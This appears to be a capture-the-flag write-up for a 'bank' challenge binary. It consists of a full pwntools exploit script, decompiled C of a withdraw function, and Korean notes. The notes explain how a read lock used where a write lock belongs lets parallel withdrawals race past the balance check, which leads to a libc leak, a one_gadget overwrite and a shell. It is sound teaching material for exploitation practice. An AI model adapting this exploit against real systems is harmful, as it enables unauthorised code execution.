from pwn import * r=process('./bank') def rr(): r.recvuntil('-->') def buy(): rr() r.sendline('5') rr() r.sendline('1') def deposit(money): rr() r.sendline('3') rr() r.sendline('1') #white rr() r.sendline(str(money)) def withdraw(wb,money): rr() r.sendline('4') rr() r.sendline(str(wb))#white rr() r.sendline(str(money)) def transfer(money): rr() r.sendline('2') rr() r.sendline('1') #w->b rr() r.sendline(str(money)) def changename(ind,name): rr() r.sendline('6') rr() r.sendline(str(ind)) rr() r.sendline(name) deposit(800) for _ in xrange(3): transfer(0) for i in range(3): withdraw(1,800) time.sleep(3) for i in range(16): buy() time.sleep(2) buy() strtoull=0x000000000602FA0 changename(16,p64(strtoull)+p64(0xDE0B6B3A763FFFF+2)) withdraw(1,1000000000000000000) rr() r.sendline('1') r.recvuntil('Account Number : ') leak=u64(r.recv(6).ljust(8,'\x00')) libc_base=leak-0x3b3f0 r.success(hex(leak)) r.success(hex(libc_base)) buy() changename(17,p64(libc_base+0x3c67a8)) rr() r.sendline('5') rr() r.sendline('\xff') rr() r.sendline('22') rr() r.sendline(p64(libc_base+0xf1117)) rr() r.sendline('7') r.interactive()
aa
int __fastcall withdraw_white_40121D(void *a1)
{
sigset_t set; // [rsp+20h] [rbp-120h]@1
__int64 (__fastcall *v3)(); // [rsp+A0h] [rbp-A0h]@1
sigemptyset(&set);
sigaddset(&set, 10);
v3 = sub_400CC6;
sigaction(10, (const struct sigaction *)&v3, 0LL);
pthread_rwlock_rdlock(&rwlock);
if ( white_accountnum_bal_603220->balance_8 >= (unsigned __int64)a1 && white_accountnum_bal_603220->status10 != 1LL )
{
usleep(0x7A120u);
pthread_rwlock_wrlock(&stru_6030C0);
white_accountnum_bal_603220->balance_8 -= a1;
cash_603020 += (__int64)a1;
pthread_rwlock_unlock(&stru_6030C0);
}
return pthread_rwlock_unlock(&rwlock);
}
빨간부분이 wrlock이어야 하는데 rdlock으로 걸려있음
rdlock은 기존에 rdlock이 걸려잇어도 접근이 가능
즉
조건문을 race condition으로 통과가능
먼저 writelock(락이 걸려있기만 하면 일단 접근이 불가능하며 블록됨)을 걸어놓고
대기상태로 만든다음
withdraw메뉴를 마구 돌려주면 이 메뉴들이 대기에 들어가서 write lock이 풀릴때 racecondition이 걸리면서 계좌에 돈이 없어도 cash로 변환이가능 그리고 계좌에 돈이 -가 될경우 signed기 때문에 돈이 마구마구 생겨버린다.
이를 이용해서 아이템을 많이 사면 bss에 white black account 부분을 덮을 수 가 있는데 이를 이용해서 릭을하고 오버라이트가 가능하다